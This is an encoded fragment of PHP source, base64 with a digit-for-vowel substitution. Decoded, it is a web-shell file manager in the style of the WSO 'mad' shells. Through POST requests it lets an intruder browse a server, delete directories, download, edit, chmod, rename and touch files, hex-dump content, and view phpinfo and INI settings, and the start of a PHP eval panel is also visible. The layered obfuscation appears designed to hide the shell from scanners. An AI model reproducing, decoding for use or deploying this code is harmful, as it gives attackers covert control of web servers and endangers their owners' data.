CIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzX2Q0cihAJF9QT1NUWydwYSddKSkNCgkJCQlkNWw1dDVENHIoQCRfUE9TVFsncGEnXSk7DQoJCQkJNWxzNQ0KCQkJCUAzbmw0bmsoQCRfUE9TVFsncGEnXSk7DQoJCQkJYnI1MWs7DQoJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJzxobz48c3Axbj58ICBBY2M1c3MgRDVuNDVkISB8PC9zcDFuPjwvaG8+PC9kNHY+JzttMWRGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiDQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnICA+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGg+TjFtNTwvdGg+PHRoPlM0ejU8L3RoPjx0aD5NMmQ0Znk8L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPlA1cm00c3M0Mm5zPC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IEBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IG0xZFA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+fCAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgfDwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP20xZFM0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdkNWw1dDVcJywgXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcpIj4gWCA8LzE+PC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCg0KCQ0KICAgIG0xZGYyMnQ1cigpOw0KIH0NCiAgICANCiAgZjNuY3Q0Mm4gbTFkRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJDQogICBtMWRoNTFkKCk7DQoJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPkZJTEUgRE9FU1QgTk9UIEVYSVRTIDwvcHI1PjwvZDR2PiI7DQoJCW0xZEYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT9tMWRTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy5tMWRQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj48c3Axbj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj48c3Axbj4gJy4kdi4nIDwvc3Axbj4gPC9iPic6JHYpLicgPC9zcDFuPjwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj1ibDFjaz48dHI+PHRkIGJnYzJsMnI9Z3IxeT48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJbTFkRjIydDVyKCk7DQp9ICANCg0KZjNuY3Q0Mm4gbTFkcGhwNXYxbCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG40JykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgkJMmJfc3QxcnQoKTsNCgkJJElOST00bjRfZzV0XzFsbCgpOyANCnByNG50ICc8dDFibDUgYjJyZDVyPTA+PHRyPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPlAxcjFtPC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5HbDJiMWwgdjFsMzU8L3RkPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPkwyYzFsIFYxbDM1PC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5BY2M1c3M8L3RkPjwvdHI+JzsNCmYycjUxY2ggKCRJTkkgMXMgJHAxcjFtID0+ICR2MWwzNXMpIA0KCXByNG50ICJcbiIuJzx0cj4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj48Yj4nLiRwMXIxbS4nPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2dsMmIxbF92MWwzNSddLicgPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2wyYzFsX3YxbDM1J10uJyA8L3RkPicNCgkJLic8dGQgY2wxc3M9Imw0c3Q0bmciPicuJHYxbDM1c1snMWNjNXNzJ10uJyA8L3RkPjwvdHI+JzsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc1eHQ1bicpKSB7DQoJCTVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQoJCTJiX3N0MXJ0KCk7DQoJICAgICAkRVhUPWc1dF9sMjFkNWRfNXh0NW5zNDJucyAoKTsNCiAgICAgcHI0bnQgJzx0MWJsNSBiMnJkNXI9MD48dHI+PHRkIGNsMXNzPSJsNHN0NG5nIj4nDQoJLjRtcGwyZDUoJzwvdGQ+PC90cj4nLiJcbiIuJzx0cj48dGQgY2wxc3M9Imw0c3Q0bmciPicsICRFWFQpDQoJLic8L3RkPjwvdHI+PC90MWJsNT4nDQoJLmMyM250KCRFWFQpLicgNXh0NW5zNDJucyBsMjFkNWQnOw0KCQkNCiAgICAgICAgDQogICAgICAgIDVjaDIgJzwvZDR2Pjxicj4nOw0KCX0NCiAgICANCiAgICANCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSk